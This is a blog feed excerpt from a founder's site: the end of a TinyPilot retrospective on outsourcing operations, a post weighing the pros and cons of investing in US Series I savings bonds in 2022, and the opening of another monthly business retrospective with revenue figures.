&lt;h2 id="what-happens-when-everything-is-outsourced">What happens when everything is outsourced?&lt;/h2>
&lt;p>Assuming that we can successfully extract all of the office functions to third-party vendors or location-independent alternatives, what does that mean for me and the company?&lt;/p>
&lt;h3 id="we-become-location-independent">We become location-independent&lt;/h3>
&lt;p>Right now, we&amp;rsquo;re tied to our physical office. If we got rid of the office, every TinyPilot employee could theoretically do their jobs from anywhere.&lt;/p>
&lt;h3 id="we-become-less-time-dependent">We become less time-dependent&lt;/h3>
&lt;p>Without fulfillment or manufacturing, the only time-sensitive responsibility we have is customer support.&lt;/p>
&lt;h3 id="we-become-more-robust-to-employee-absence">We become more robust to employee absence&lt;/h3>
&lt;p>A few times in the last few months, members of TinyPilot&amp;rsquo;s local staff have been out of work for several days at a time. Some were planned vacations; others were due to illness.&lt;/p>
&lt;p>TinyPilot has enough redundancy that we were able to keep going without affecting customers, but it did &lt;a href="https://mtlynch.io/retrospectives/2022/09/#build-redundancy-into-customer-support">strain other parts of our systems&lt;/a>.&lt;/p>
&lt;p>If we outsourced manufacturing and fulfillment, it would become far easier for TinyPilot to handle employee absence. We wouldn&amp;rsquo;t have to scramble to keep orders shipping, as we would no longer be in the critical path for fulfillment.&lt;/p>
&lt;h3 id="roles-change-for-local-staff">Roles change for local staff&lt;/h3>
&lt;p>One challenge of outsourcing is the impact it has on our existing local staff&amp;rsquo;s jobs. If we were to get rid of the TinyPilot office and outsource manufacturing and fulfillment, that would eliminate about 75% of the work our local team currently does.&lt;/p>
&lt;p>The local team does great work, and I want to make sure they still have roles within the company if we get rid of our office.&lt;/p>
&lt;p>The local team will continue to have customer service work. It&amp;rsquo;s likely that outsourcing will allow us to scale up sales, so more customers will mean more demand for customer service.&lt;/p>
&lt;p>The local staff can also take on more outreach work. In the past, we&amp;rsquo;ve seen positive results from proactively reaching out to large customers and asking them about their experience with our product. We don&amp;rsquo;t do it much because of time constraints, but if we freed up time, we could invest more in that area. Similarly, local staff could work with more reviewers and YouTube creators, which would help with marketing.&lt;/p>
&lt;h3 id="we-reduce-red-tape">We reduce red tape&lt;/h3>
&lt;p>Right now, TinyPilot&amp;rsquo;s local staff are the only people in the company legally classified as employees. Everyone else is an independent contractor. Because local staff members work on-premises, US employment law requires them to be employees and not contractors.&lt;/p>
&lt;p>If we got rid of the TinyPilot office, employees could become contractors. I know this one sounds like, &amp;ldquo;I can&amp;rsquo;t wait to cut benefits!&amp;rdquo; but I think we could do the transition in a way that benefits everyone. My goal isn&amp;rsquo;t to reduce compensation as much as reduce stress and paperwork.&lt;/p>
&lt;p>There&amp;rsquo;s a huge difference in complexity between paying employees vs. contractors. On an almost monthly basis, some Massachusetts government office sends me an inscrutable letter telling me something about withholdings or compliance requirements, but it&amp;rsquo;s never clear what action is required on my part, if any.&lt;/p>
&lt;p>There are services that help with compliance and paying the right taxes, but I&amp;rsquo;ve never found one that does an especially good job. When I forward government notices to Gusto, my payroll provider, they just tell me that I have to call the government and figure it out myself. And then, when I call the state agency, I get routed around a phone tree to people who don&amp;rsquo;t know anything about the notice I received, so I&amp;rsquo;m left to just ignore it and hope that&amp;rsquo;s the right thing to do.&lt;/p>
&lt;p>Contractors require much less paperwork. We can adjust pay so that staff gets equivalent or better compensation relative to what they had as employees, and it&amp;rsquo;s less red tape for everyone.&lt;/p>
&lt;h3 id="we-reduce-costs">We reduce costs&lt;/h3>
&lt;p>Outsourcing will also reduce costs, though this is the least interesting benefit for me.&lt;/p>
&lt;p>Without an office, we no longer have to pay rent ($550/month), Gusto payroll service ($80/month), inventory tracking ($59/month), worker&amp;rsquo;s comp ($30/month), or renter&amp;rsquo;s insurance ($10/month).&lt;/p>
&lt;p>The labor costs theoretically go down by a few dollars per unit because Chinese manufacturers can build devices at a fraction of our labor costs, and 3PL vendors have economies of scale that allow them to fulfill orders more cheaply than we can.&lt;/p>
&lt;h3 id="we-reduce-flexibility-and-agility">We reduce flexibility and agility&lt;/h3>
&lt;p>Outsourcing everything optimizes our &amp;ldquo;happy path,&amp;rdquo; but it makes it harder to manage exceptions or fix mistakes.&lt;/p>
&lt;p>In the past, we&amp;rsquo;ve been able to iterate rapidly on the product to reduce visual blemishes and make it easier to use. With everything outsourced, the feedback loop will be slower. We might not identify issues until several customers report it. By that point, we might have hundreds of devices that have passed the problem point in our pipeline and are on the way to customers or warehouses.&lt;/p>
&lt;h3 id="we-increase-our-error-rate">We increase our error rate&lt;/h3>
&lt;p>Outsourcing would almost certainly increase our error rate. Our current error rate is about as near to zero as you can get. We&amp;rsquo;ve had about 2,500 orders in the past 18 months, and there have only been two or three instances where a customer tells us that we shipped them the wrong item or that it arrived with manufacturing errors.&lt;/p>
&lt;p>I imagine that even experienced vendors for manufacturing and fulfillment can&amp;rsquo;t match the error rate we&amp;rsquo;ve achieved in-house. Still, I think our current error rate is much better than it needs to be to keep customers happy. We can afford an error rate of something like 0.3% without significantly impacting customer experience.&lt;/p>
&lt;h2 id="does-outsourcing-increase-or-decrease-complexity">Does outsourcing increase or decrease complexity?&lt;/h2>
&lt;p>My main goal in outsourcing is to reduce complexity. I&amp;rsquo;m still trying to &lt;a href="https://mtlynch.io/retrospectives/2022/02/#how-can-i-manage-tinypilot-with-only-20-hours-per-week">reduce my management time to 20 hours per week&lt;/a>.&lt;/p>
&lt;p>My biggest worry is that manufacturing and fulfillment are the parts of TinyPilot that require the least amount of management, so there&amp;rsquo;s no time to gain back from outsourcing. It took a lot of work up front to build repeatable workflows for everything, but it&amp;rsquo;s been pretty much smooth sailing since then.&lt;/p>
&lt;p>The times when I need to be involved in manufacturing and fulfillment are events like part shortages or customers having issues with delivery that are unique enough to be escalated to me. I&amp;rsquo;d still be involved in those issues if we moved to external vendors, and it would be harder to manage across company boundaries.&lt;/p>
&lt;p>At the same time, it feels like it just &lt;em>has&lt;/em> to be easier to work with external vendors than to keep maintaining our own home-grown solutions for manufacturing and fulfillment. Even though our office runs smoothly, there&amp;rsquo;s significant mental overhead in just maintaining an office and all the processes that go with it.&lt;/p>
&lt;p>I&amp;rsquo;m hoping that we&amp;rsquo;re currently at a local minimum in terms of complexity. The friction of switching processes will increase complexity, but I think outsourcing will ultimately bring us to a state of lower complexity.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/10/outsourced-complexity.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/10/outsourced-complexity_hu_c1092b26b3b45634.png 300w, https://mtlynch.io/retrospectives/2022/10/outsourced-complexity_hu_a7493f5f783489ec.png 600w, https://mtlynch.io/retrospectives/2022/10/outsourced-complexity_hu_88b07603838fa6b9.png 800w, https://mtlynch.io/retrospectives/2022/10/outsourced-complexity_hu_9e9525e025b33d36.png 1200w, https://mtlynch.io/retrospectives/2022/10/outsourced-complexity.png 1945w'
 src="https://mtlynch.io/retrospectives/2022/10/outsourced-complexity.png" alt="Graph showing complexity going down as we smooth out our processes, then increasing drastically as we outsource, then reducing to below our current state once outsourcing has smoothed out." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="hello-playwright-goodbye-cypress">Hello, Playwright; goodbye, Cypress&lt;/h3>
&lt;p>I&amp;rsquo;ve been &lt;a href="https://mtlynch.io/painless-web-app-testing/">a fan of the Cypress end-to-end testing tool&lt;/a> ever since I saw Gleb Bahmutov demo it at &lt;a href="https://youtu.be/wApmbgPGmqQ">a 2018 web dev meetup&lt;/a>. Over the years, I&amp;rsquo;ve been hearing more chatter over the years about &lt;a href="https://playwright.dev/">Playwright&lt;/a>, Microsoft&amp;rsquo;s competitor to Cypress.&lt;/p>
&lt;p>I tried Playwright a year ago and &lt;a href="https://weeks.mtlynch.io/2021-08-06">wasn&amp;rsquo;t that impressed&lt;/a>. I was recently reading &lt;a href="https://news.ycombinator.com/item?id=33047136">a Hacker News thread&lt;/a> where everyone seemed to agree that Playwright had surpassed Cypress, so I gave Playwright another try.&lt;/p>
&lt;p>I now must admit that I agree with Hacker News. As an experiment, I &lt;a href="https://github.com/mtlynch/picoshare/pull/340">rewrote all of PicoShare&amp;rsquo;s end-to-end tests in Playwright&lt;/a>. I found Playwright easier to work with than Cypress in almost every dimension.&lt;/p>
&lt;p>I&amp;rsquo;m working on a longer post about the process of porting from Cypress to Playwright, but the short version is that I&amp;rsquo;d now recommend Playwright over Cypress for end-to-end testing web apps.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published TinyPilot Pro 2.5.0.&lt;/li>
&lt;li>Gave personal responses to everyone who applied for the Support Engineer job in August.&lt;/li>
&lt;li>Hired a second TinyPilot Support Engineer.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Just thinking about how to outsource tasks can uncover opportunities in your existing workflows.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Ramp up new support engineers.
&lt;ul>
&lt;li>I&amp;rsquo;m aiming for the first one to be able to answer 80% of questions unassisted and the second 50%.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Start production on a second metal case prototype.&lt;/li>
&lt;li>Reach out to three 3PL vendors to talk about the process of transitioning our fulfillment.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Should I Invest in iBonds?</title><link>https://mtlynch.io/notes/ibonds/</link><pubDate>Sun, 16 Oct 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/ibonds/</guid><description>&lt;p>In a recent &lt;a href="https://news.ycombinator.com/item?id=33040211">Hacker News thread&lt;/a> about preparing financially for a possible recession, a commenter suggested investing in iBonds.&lt;/p>
&lt;p>iBonds are one of those investments I&amp;rsquo;ve seen in passing every time I read a personal finance book, but I&amp;rsquo;ve never paid much attention to them.&lt;/p>
&lt;p>When I saw that iBonds are currently paying 9.62% interest, I decided to give them a closer look.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 451px">



 &lt;a href="https://mtlynch.io/notes/ibonds/ibond-returns.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 451px, 98vw"
 srcset='https://mtlynch.io/notes/ibonds/ibond-returns_hu_827f56ae33bbecdb.png 300w, https://mtlynch.io/notes/ibonds/ibond-returns.png 449w'
 src="https://mtlynch.io/notes/ibonds/ibond-returns.png" alt="Series I Savings Bonds - 9.62%" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="what-are-ibonds">What are iBonds?&lt;/h2>
&lt;p>iBonds are the colloquial name for &lt;a href="https://www.treasurydirect.gov/savings-bonds/i-bonds/">Series I Treasury savings bonds&lt;/a>. They&amp;rsquo;re a savings bond whose rate of return is based on the current rate of inflation.&lt;/p></description><content:encoded>&lt;p>In a recent &lt;a href="https://news.ycombinator.com/item?id=33040211">Hacker News thread&lt;/a> about preparing financially for a possible recession, a commenter suggested investing in iBonds.&lt;/p>
&lt;p>iBonds are one of those investments I&amp;rsquo;ve seen in passing every time I read a personal finance book, but I&amp;rsquo;ve never paid much attention to them.&lt;/p>
&lt;p>When I saw that iBonds are currently paying 9.62% interest, I decided to give them a closer look.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 451px">



 &lt;a href="https://mtlynch.io/notes/ibonds/ibond-returns.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 451px, 98vw"
 srcset='https://mtlynch.io/notes/ibonds/ibond-returns_hu_827f56ae33bbecdb.png 300w, https://mtlynch.io/notes/ibonds/ibond-returns.png 449w'
 src="https://mtlynch.io/notes/ibonds/ibond-returns.png" alt="Series I Savings Bonds - 9.62%" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="what-are-ibonds">What are iBonds?&lt;/h2>
&lt;p>iBonds are the colloquial name for &lt;a href="https://www.treasurydirect.gov/savings-bonds/i-bonds/">Series I Treasury savings bonds&lt;/a>. They&amp;rsquo;re a savings bond whose rate of return is based on the current rate of inflation.&lt;/p>
&lt;p>Anyone with a US social security number or EIN can buy iBonds. You can invest as little as $25 in iBonds, and you don&amp;rsquo;t need any special brokerage account beyond a standard checking account. There are no fees or commissions for purchasing iBonds.&lt;/p>
&lt;p>iBonds differ from other types of investments in that there are a few more restrictions on when you cash them in, and you can&amp;rsquo;t resell them to other investors.&lt;/p>
&lt;h2 id="understanding-ibonds-interest-rate">Understanding iBonds&amp;rsquo; interest rate&lt;/h2>
&lt;p>The total rate of return on iBond is the sum of two rates:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Fixed rate&lt;/strong>: This is the minimum annual rate the bond pays for the lifetime of the bond. This rate never changes.&lt;/li>
&lt;li>&lt;strong>Inflation rate&lt;/strong>: This is set to match the &lt;a href="https://www.bls.gov/news.release/cpi.t01.htm">consumer price index (CPI)&lt;/a>, which is meant to approximate the rate of inflation nationally. This rate changes every six months.&lt;/li>
&lt;/ul>
&lt;p>An iBond&amp;rsquo;s total return is the fixed rate plus the inflation rate. For example, if the fixed rate is 2% and inflation is 2% 4%, then the iBond will pay 2% + 4% = 6% for the subsequent six months. After six months, the Treasury might recalculate inflation to be 3%, at which point the rate of return will be 2% + 3% = 5%.&lt;/p>
&lt;p>During periods of low inflation, the Treasury increases the fixed rate to make iBonds more appealing. The inflation portion of the return fluctuates with inflation, but the fixed rate lasts the life of the bond, which is 30 years. If the fixed rate is 2%, the iBond will always pay at least 2% per year, even when inflation is 0% or lower.&lt;/p>
&lt;p>Currently, inflation is very high, so the fixed rate is 0%. If you buy iBonds now, the rate of return will just match the rate of inflation.&lt;/p>
&lt;p>The Treasury publishes &lt;a href="https://www.treasurydirect.gov/files/savings-bonds/i-bond-rate-chart.pdf">an (enormous) table&lt;/a> of historical fixed + inflation rates for all iBonds ever sold. It&amp;rsquo;s helpful in understanding how the fixed rate and inflation rate combine and how iBonds have performed historically.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://www.treasurydirect.gov/files/savings-bonds/i-bond-rate-chart.pdf">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/ibonds/ibond-historical-rates_hu_b3018cc107c1920d.png 300w, https://mtlynch.io/notes/ibonds/ibond-historical-rates_hu_81767541e005ba0e.png 600w, https://mtlynch.io/notes/ibonds/ibond-historical-rates.png 723w'
 src="https://mtlynch.io/notes/ibonds/ibond-historical-rates.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The US Treasury publishes &lt;a href="https://www.treasurydirect.gov/files/savings-bonds/i-bond-rate-chart.pdf">historical rates of iBond returns&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="pros">Pros&lt;/h2>
&lt;h3 id="returns-are-currently-high">Returns are currently high&lt;/h3>
&lt;p>The current rate of return on iBonds is 9.62%, which is looking stronger than almost any other low-risk investment right now.&lt;/p>
&lt;p>CDs from major banks and brokerages are only paying around 4%, and AAA-rated corporate bonds are in the 2-5% range.&lt;/p>
&lt;p>Vanguard&amp;rsquo;s total bond market index is &lt;a href="https://investor.vanguard.com/investment-products/mutual-funds/profile/vbtlx">down 16%&lt;/a> in the last year. The S&amp;amp;P 500 is &lt;a href="https://investor.vanguard.com/investment-products/mutual-funds/profile/vfiax">down 18%&lt;/a>.&lt;/p>
&lt;h3 id="ibonds-are-backed-by-the-federal-government">iBonds are backed by the federal government&lt;/h3>
&lt;p>Like other Treasury bonds, iBonds are backed by &amp;ldquo;the full faith and credit&amp;rdquo; of the US treasury. In other words, the US Treasury would have to default on its debt in order for you to lose the principal you invested in the bond. Historically, the US has never defaulted on its debt.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/ibonds/pays-his-debts.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/ibonds/pays-his-debts_hu_857a6915d8482f11.jpg 300w, https://mtlynch.io/notes/ibonds/pays-his-debts_hu_a9e763026cc37409.jpg 600w, https://mtlynch.io/notes/ibonds/pays-his-debts_hu_60c382a3b850304d.jpg 800w, https://mtlynch.io/notes/ibonds/pays-his-debts_hu_795e1520c0d9cf35.jpg 1200w, https://mtlynch.io/notes/ibonds/pays-his-debts.jpg 1320w'
 src="https://mtlynch.io/notes/ibonds/pays-his-debts.jpg" alt="Screenshot from season 1, episode 5 of Game of Thrones with closed caption of &amp;#39;Everyone knows a \[US Treasury\] always pays his debts." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>If you were to buy a corporate bond, one of the risks you weigh is whether that corporation goes bankrupt and can&amp;rsquo;t pay back the principal you invested in the bond. When you buy a bond from the US Treasury, the risk of default is extremely low.&lt;/p>
&lt;p>Typically, investors have to accept a lower interest rate to lend to a more reliable borrower. In the current market, safe investments like bank CDs and AAA-rated corporate bonds offer much lower interest rates than iBonds, so iBond investors get the best of both worlds: a low-risk, high-yield investment.&lt;/p>
&lt;h3 id="returns-are-pegged-against-inflation">Returns are pegged against inflation&lt;/h3>
&lt;p>The US Treasury adjusts the inflation rate portion of iBonds every six months to match the rate of inflation. In times of high inflation, this is a major advantage over other bonds, as the investor has a guarantee that their investment will keep up with inflation.&lt;/p>
&lt;p>Even if inflation goes negative, the interest rate portion of the iBond has a floor of 0%. At worst, an investor can experience periods in which they receive no interest payments on their bond, but they can never experience negative interest.&lt;/p>
&lt;h3 id="gains-incur-no-state-or-municipal-taxes">Gains incur no state or municipal taxes&lt;/h3>
&lt;p>Gains from iBonds aren&amp;rsquo;t taxed at the state or municipal level. The investor is still responsible for federal taxes on gains from iBonds.&lt;/p>
&lt;h2 id="cons">Cons&lt;/h2>
&lt;h3 id="you-cant-cash-ibonds-within-the-first-12-months">You can&amp;rsquo;t cash iBonds within the first 12 months&lt;/h3>
&lt;p>If you buy iBonds, you can&amp;rsquo;t cash them in for the first 12 months.&lt;/p>
&lt;p>Often investments that have time restrictions allow you to violate the restrictions if you pay a penalty, but this is not the case with iBonds. No matter what, you&amp;rsquo;re unable to sell iBonds within the first year.&lt;/p>
&lt;p>If you invest in iBonds, you need to be confident that you won&amp;rsquo;t need that money for at least 12 months.&lt;/p>
&lt;h3 id="if-you-cash-in-ibonds-within-the-first-five-years-you-forfeit-three-months-of-interest">If you cash in iBonds within the first five years, you forfeit three months of interest&lt;/h3>
&lt;p>You can cash in your iBonds starting 12 months after you purchased it, but there&amp;rsquo;s still a penalty for selling in the first five years. If you sell before five years, you forfeit three months of interest payments.&lt;/p>
&lt;p>This isn&amp;rsquo;t such a bad penalty. It means that if interest rates on iBonds were 8% for the last year and you sell before the five-year mark, you get an effective return of 6%, sacrificing a 2% gain. If interest rates are 4%, you sacrifice only a 1% gain.&lt;/p>
&lt;h3 id="you-can-invest-a-maximum-of-10k-in-ibonds">You can invest a maximum of $10k* in iBonds&lt;/h3>
&lt;p>The Treasury limits your purchases of iBonds to $10k per year per individual. Depending on the size of your portfolio, $10k per year might be too small to be worth the trouble.&lt;/p>
&lt;p>* There&amp;rsquo;s an odd rule for iBonds that says you can buy &lt;a href="https://www.treasurydirect.gov/savings-bonds/buy-a-bond/#buying-paper">an extra $5k in iBonds&lt;/a> if you use money from your federal tax refunds. See &lt;a href="#the-irs-overpayment-hack">below&lt;/a> for details.&lt;/p>
&lt;h3 id="you-have-to-buy-ibonds-on-treasury-direct">You have to buy iBonds on Treasury Direct&lt;/h3>
&lt;p>To buy iBonds, you need to purchase them through the Treasury&amp;rsquo;s website, &lt;a href="https://www.treasurydirect.gov/">Treasury Direct&lt;/a>.&lt;/p>
&lt;p>You can&amp;rsquo;t buy through any other brokerage platforms because the Treasury doesn&amp;rsquo;t allow brokers to purchase iBonds on behalf of their clients. And because of the $10k/year limit, there are no mutual funds that invest in iBonds the way there are for other Treasury bonds.&lt;/p>
&lt;p>I&amp;rsquo;ve never used Treasury Direct. From what I&amp;rsquo;ve read, it&amp;rsquo;s a bit clunkier than modern brokerage platforms, but it&amp;rsquo;s still easy enough to use.&lt;/p>
&lt;h3 id="theres-no-secondary-market-for-ibonds">There&amp;rsquo;s no secondary market for iBonds&lt;/h3>
&lt;p>With most bonds, you have the right to sell the bond to another investor before the bond matures. With iBonds, you can&amp;rsquo;t transfer or sell them to another investor. You can either hold an iBond until its 30-year maturity and continue receiving interest payments or cash it in for the amount you paid.&lt;/p>
&lt;p>The lack of a secondary market is a shame, as an investor who purchased $10k of iBonds in 2000 (when the fixed rate was 3.6%) is currently earning interest payments of 13.22% per year. If they were allowed to sell the bond to another investor, the market price would be far higher than $10k. Instead, their only options are to cash it in for $10k or continue receiving interest payments. Earning 13.2% every year is an enviable position to be in, but it might be frustrating for an investor who&amp;rsquo;d prefer to cash out their investment at market value.&lt;/p>
&lt;h3 id="the-interest-rate-changes-every-six-months">The interest rate changes every six months&lt;/h3>
&lt;p>It&amp;rsquo;s an advantage that iBonds adjust to meet inflation, but this is also a downside, as the interest rate may go down after you&amp;rsquo;ve purchased an iBond.&lt;/p>
&lt;p>Most other bonds have only a fixed rate, so you can more accurately predict your earnings over time. With iBonds, the interest rate is only guaranteed for six months at a time. In theory, the interest rate could drop to the fixed rate six months after your purchase.&lt;/p>
&lt;p>For example, if you purchase an iBond today, the total interest rate can drop to 0% in May 2023, as the fixed rate on iBonds is 0%. That scenario assumes that inflation also drops to zero or becomes negative within the next six months, either of which seems fairly unlikely.&lt;/p>
&lt;h2 id="ibond-purchase-considerations">iBond purchase considerations&lt;/h2>
&lt;h3 id="the-end-of-month-interest-rate-hack">The end-of-month interest rate hack&lt;/h3>
&lt;p>If you purchase iBonds on the last day of the month, you still receive interest payments as if you held the bonds for the full month. Because of this, most investors time their purchases of iBonds for the last few days of the month.&lt;/p>
&lt;p>Treasury Direct recommends purchasing iBonds at least three days before the end of the month to ensure that you receive your iBonds within the same month.&lt;/p>
&lt;h3 id="the-irs-overpayment-hack">The IRS overpayment hack&lt;/h3>
&lt;p>Because the Treasury allows investors to purchase an extra $5k in iBonds every year if they use money from their federal tax refund, some investors deliberately overpay their federal taxes by $5k in estimated tax payments just before tax time. This guarantees them a $5k refund, which they can use to buy the extra $5k of iBonds.&lt;/p>
&lt;p>You&amp;rsquo;re only allowed to purchase &amp;ldquo;paper&amp;rdquo; iBonds with your federal tax refund. I&amp;rsquo;m not clear on the distinction between paper iBonds and electronic iBonds that you purchase through Treasury Direct, but it sounds straightforward to &lt;a href="https://www.treasurydirect.gov/savings-bonds/manage-bonds/convert-paper-to-electronic/">convert paper bonds to electronic bonds&lt;/a>.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Overall, I find iBonds a highly appealing investment right now.&lt;/p>
&lt;p>I plan to invest up to the maximum this month, and I&amp;rsquo;ll likely purchase more in early 2023 unless the market drastically changes.&lt;/p></content:encoded></item><item><title>TinyPilot: Month 26</title><link>https://mtlynch.io/retrospectives/2022/09/</link><pubDate>Wed, 14 Sep 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2022/09/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer, and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and in my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot had its all-time best month, reaching nearly $80k in revenue and exceeding its previous record by 15%.&lt;/li>
&lt;li>The response rate to my job posting was 8x higher than when I listed the same job six months ago.&lt;/li>
&lt;li>I have lots of thoughts about hiring people.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer, and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and in my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot had its all-time best month, reaching nearly $80k in revenue and exceeding its previous record by 15%.&lt;/li>
&lt;li>The response rate to my job posting was 8x higher than when I listed the same job six months ago.&lt;/li>
&lt;li>I have lots of thoughts about hiring people.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="migrate-tinypilot-community-and-tinypilot-pro-to-the-next-generation-update-system">Migrate TinyPilot Community and TinyPilot Pro to the next-generation update system&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We migrated TinyPilot Community, but TinyPilot Pro is not yet ready.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C+&lt;/li>
&lt;/ul>
&lt;p>We&amp;rsquo;ve been working on overhauling TinyPilot&amp;rsquo;s update system since May, and it&amp;rsquo;s taking way longer than any of us expected.&lt;/p>
&lt;p>Over the first two years, I accrued a lot of technical debt in TinyPilot&amp;rsquo;s update system. We&amp;rsquo;re paying it down now, but it also means that we keep encountering surprises that eat up a week or more of dev time. I&amp;rsquo;m pretty confident that we&amp;rsquo;re down to the last few weeks now.&lt;/p>
&lt;h3 id="finalize-plans-for-managing-tinypilot-licenses">Finalize plans for managing TinyPilot licenses&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Plans are finalized.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>We&amp;rsquo;ve finalized a plan for managing TinyPilot licenses, and I think everyone involved is happy. It offers a smooth user experience and minimizes engineering complexity.&lt;/p>
&lt;h3 id="send-tinypilot-voyager-to-two-youtube-creators-or-bloggers-for-review">Send TinyPilot Voyager to two YouTube creators or bloggers for review&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I was too busy with hiring to get to this.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>I didn&amp;rsquo;t make any progress here. I really should have made hiring one of my goals instead because that&amp;rsquo;s what I spent most of the month doing.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>July 2022&lt;/th>
 &lt;th>August 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>21,242&lt;/td>
 &lt;td>11,903&lt;/td>
 &lt;td>&lt;font color="red">-9,339 (-44%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>33,578&lt;/td>
 &lt;td>23,214&lt;/td>
 &lt;td>&lt;font color="red">-10,364 (-31%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$56,954.66&lt;/td>
 &lt;td>$76,082.06&lt;/td>
 &lt;td>&lt;font color="green">+$19,127.40 (+34%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$2,513.71&lt;/td>
 &lt;td>$3,264.23&lt;/td>
 &lt;td>&lt;font color="green">+$750.52 (+30%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$59,759.07&lt;/td>
 &lt;td>$79,636.99&lt;/td>
 &lt;td>&lt;font color="green">+$19,877.92 (+33%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$-12,349.21&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$21,580.82&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$33,930.03 (+inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>August was a record month in TinyPilot&amp;rsquo;s revenue and profit. I &lt;a href="https://mtlynch.io/retrospectives/2022/08/#experimenting-more-with-tinypilot-pricing">reduced prices by 11%&lt;/a> at the end of July, and it looks like that increased sales by 34%. And again, it was another &amp;ldquo;boring&amp;rdquo; month in that no external events drove these numbers, so I&amp;rsquo;m optimistic about sustaining this.&lt;/p>
